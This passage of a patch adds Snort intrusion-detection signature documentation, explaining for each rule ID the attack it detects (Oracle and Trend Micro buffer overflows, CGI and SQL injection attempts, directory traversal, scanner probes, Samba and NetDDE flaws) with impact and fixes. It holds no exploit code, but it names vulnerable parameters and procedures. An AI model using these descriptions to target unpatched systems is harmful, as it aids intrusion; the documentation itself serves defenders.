+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2809.txt
+++ snort-2.8.5.2/doc/signatures/2809.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2809
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure unregister_mview_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3154.txt
+++ snort-2.8.5.2/doc/signatures/3154.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+2922
+
+-- 
+Summary: 
+This event is generated when an inverse query attempt is made using UDP.
+
+-- 
+
+Impact: 
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Bind 8 contains a programming error that may present an attacker with
+the opportunity to execute code of their choosing on an affected server.
+
+The error occurs in the handling of malformed transactions. When using
+UDP this can result in the attacker causing a heap overflow.
+
+--
+Affected Systems:
+	Bind 8.
+
+--
+Attack Scenarios: 
+An attacker needs to send a specially crafted and malformed query to an
+affected server.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1185.txt
+++ snort-2.8.5.2/doc/signatures/1185.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1185
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1738.txt
+++ snort-2.8.5.2/doc/signatures/1738.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1738
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1823.txt
+++ snort-2.8.5.2/doc/signatures/1823.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1823
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/628.txt
+++ snort-2.8.5.2/doc/signatures/628.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+628
+
+--
+Summary:
+This event is generated when the nmap port scanner and reconnaissance 
+tool is used against a host.
+
+--
+Impact:
+This could be part of a full scan by nmap and could indicate 
+potential malicious reconnaissance of the targeted network or host.
+
+--
+Detailed Information:
+Some versions of Nmap's TCP ping, if selected, sends a TCP ACK with an 
+ACK number = 0. 
+
+Nmap can use TCP ping as a second alternative to ICMP Ping.
+
+--
+Affected Systems:
+All systems not protected by a stateful firewall are affected. The TCP 
+Ping targeted port does  not need to be open on the host being probed to
+determine if the machine is alive or not.
+
+--
+Attack Scenarios:
+The first thing an attacker does is to gather some information about its
+target, he may use Nmap to see if the potential target is alive on 
+certain network. Included as part of the "pinging" technique used by 
+Nmap, a TCP ping can be used on certain networks that don't allow the 
+ICMP Protocol.
+
+--
+Ease of Attack:
+Simple. Nmap requires no specialized experience to use it.
+
+--
+False Positives:
+This particular Nmap TCP Ping uses a TCP ACK with an ACK Number = 0. It 
+is possible that other tools may also send a TCP ACK with an ACK number 
+of Zero.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Any stateful firewall should be enough to protect a host from being "TCP
+ACK probed". If you have more suspicious/malicious activity from the 
+host doing the portscan, follow your standard procedure to asess the 
+potential threat. If you only detect TCP Pings, that may be just a TCP 
+Ping Sweep and it is not a real threat.
+
+--
+Contributors:
+Original Rule Writer Unknown (prime suspect is Marty Roesch)
+Snort documentation contributed by Jose Hernandez <jrseal76@hotmail.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+arachnids: ids28
+
+--
--- snort-2.8.5.2.orig/doc/signatures/627.txt
+++ snort-2.8.5.2/doc/signatures/627.txt
@@ -0,0 +1,64 @@
+Rule:  
+ 
+--
+Sid:
+627
+
+--
+Summary:
+This event is generated when the Cybercop vulnerability scanner is used 
+against a host.
+
+--
+Impact:
+Cybercop can be used to identify vulnerabilities on host systems.
+
+--
+Detailed Information:
+This particular packet is a part of Cybercop's OS identification.  
+Specially crafted packets are able to elicit different responses from 
+different operating systems.  This packet is likely to be part of a full
+Cybercop scan rather than an isolated event. Having SYN, FIN, URG and 
+reserve bits 1 and 2 set at the same time is abnormal.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+Cybercop can be used by attackers to determine vulnerabilities present 
+on a host or network of hosts that could be used as attack vectors.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This tool can be used legitimately by system and network administrators.
+Other vulnerability scanners may display the same behavior.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+TCP packets with SYN, FIN, URG and reserved bits 1 and 2 set at the same
+time are abnormal, use a packet filtering firewall to block them.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS150
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000112.txt
+++ snort-2.8.5.2/doc/signatures/100000112.txt
@@ -0,0 +1,68 @@
+Rule: 
+
+--
+Sid: 
+100000112
+
+-- 
+Summary: 
+This event is generated when the readfile.tcl script on a Nokia IPSO device is 
+accessed.
+
+-- 
+
+Impact: 
+Since the script does not perform any input validation, users can read any file 
+on the host operating system for which the script has permissions. 
+
+--
+Detailed Information:
+An attacker may specify any file on the host operating system, and if the 
+script has read permissions for that file, it will be displayed in the web 
+browser. Users must be able to log into the Nokia web gui to perform this 
+attack.
+
+--
+Affected Systems:
+Nokia IPSO 3.3 SP4
+Nokia IPSO 3.3 SP3
+Nokia IPSO 3.3 SP2
+Nokia IPSO 3.3 SP1
+Nokia IPSO 3.3
+Nokia IPSO 3.3.1
+Nokia IPSO 3.4
+Nokia IPSO 3.4.1
+Nokia IPSO 3.4.2
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited using a web browser, or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as attacks may be performed via a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, no workarounds or patches are available.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2236.txt
+++ snort-2.8.5.2/doc/signatures/2236.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2236
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2318.txt
+++ snort-2.8.5.2/doc/signatures/2318.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+2318
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Concurrent Versions System (CVS).
+
+--
+Impact:
+Serious. Manipulation of the host file system is possible.
+
+--
+Detailed Information:
+Concurrent Versions System (CVS) is used to track the history of source
+code files when developing software.
+
+Some versions of CVS contain a vulnerability that may allow an attacker
+to create directories or files in the host filesystem external to the
+cvsroot. This is achieved via a malformed module request.
+
+--
+Affected Systems:
+	CVS versions prior to 1.11.10
+
+--
+Attack Scenarios:
+An attacker may send a specially crafted request to a cvs server and
+create files and directories of their choosing in the hosts root
+filesystem. The attacker may then access these files at will to further
+compromise the system.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+If compression is being used in data communications between the CVS
+server and clients, this rule will not generate an event.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0977
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1554.txt
+++ snort-2.8.5.2/doc/signatures/1554.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1554
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2399.txt
+++ snort-2.8.5.2/doc/signatures/2399.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2399
+
+--
+Summary:
+This event is generated when an attempt is made to exploit the PHP web
+application WAnewsletter.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the WAnewsletter PHP web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to the
+execution of arbitrary code of the atttackers choosing.
+
+--
+Affected Systems:
+	WAnewsletter
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including a file in
+parameters supplied to the script newsletter.php or db_type.php.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2311.txt
+++ snort-2.8.5.2/doc/signatures/2311.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2311
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000523.txt
+++ snort-2.8.5.2/doc/signatures/100000523.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000523
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "CavoxCms" application running on a webserver. Access to 
+the file "index.php" with SQL commands being passed as the "page" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "page" parameter in the "index.php" script used by the 
+"CavoxCms" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CavoxCms
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2277.txt
+++ snort-2.8.5.2/doc/signatures/2277.txt
@@ -0,0 +1,58 @@
+Rule:
+--
+Sid:
+2277
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a directory
+traversal vulnerability in the cgi application PeopleSoft PeopleBooks.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate an attempt is made to exploit a directory
+traversal vulnerability in the cgi application PeopleSoft PeopleBooks.
+The script psdoccgi.exe does not sufficiently check script arguements
+for the "headername" and "footername" variables. An attacker may exploit
+this issue to access files outside the root of the web server.
+
+--
+Affected Systems:
+	PeopleTools versions 8.43 and earlier.
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques to access sensitive
+system files to gain information necessary for further system
+compromise.
+
+--
+Ease of Attack:
+Simple. No exploit code required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2847.txt
+++ snort-2.8.5.2/doc/signatures/2847.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2847
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure unregister_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/929.txt
+++ snort-2.8.5.2/doc/signatures/929.txt
@@ -0,0 +1,62 @@
+SID:
+929
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/264.txt
+++ snort-2.8.5.2/doc/signatures/264.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+264
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1541.txt
+++ snort-2.8.5.2/doc/signatures/1541.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1541
+
+--
+Summary:
+This event is generated when an attempt is made to ascertain which 
+version of fingerd is running on a host. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to ascertain which 
+version of the finger daemon is running on a host. This may be the 
+prelude to an attack against that finger daemon.
+
+--
+Affected Systems:
+Any host running fingerd.
+
+--
+Attack Scenarios:
+An attacker can determine which version of fingerd is running then 
+attempt to exploit fingerd if it is found to be vulnerable to attack.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disallow access to fingerd from sources external to the protected 
+network.
+
+Disable the finger daemon.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+GNU Finger Manual:
+http://www.gnu.org/software/finger/manual/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2969.txt
+++ snort-2.8.5.2/doc/signatures/2969.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2969
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3027.txt
+++ snort-2.8.5.2/doc/signatures/3027.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3027
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
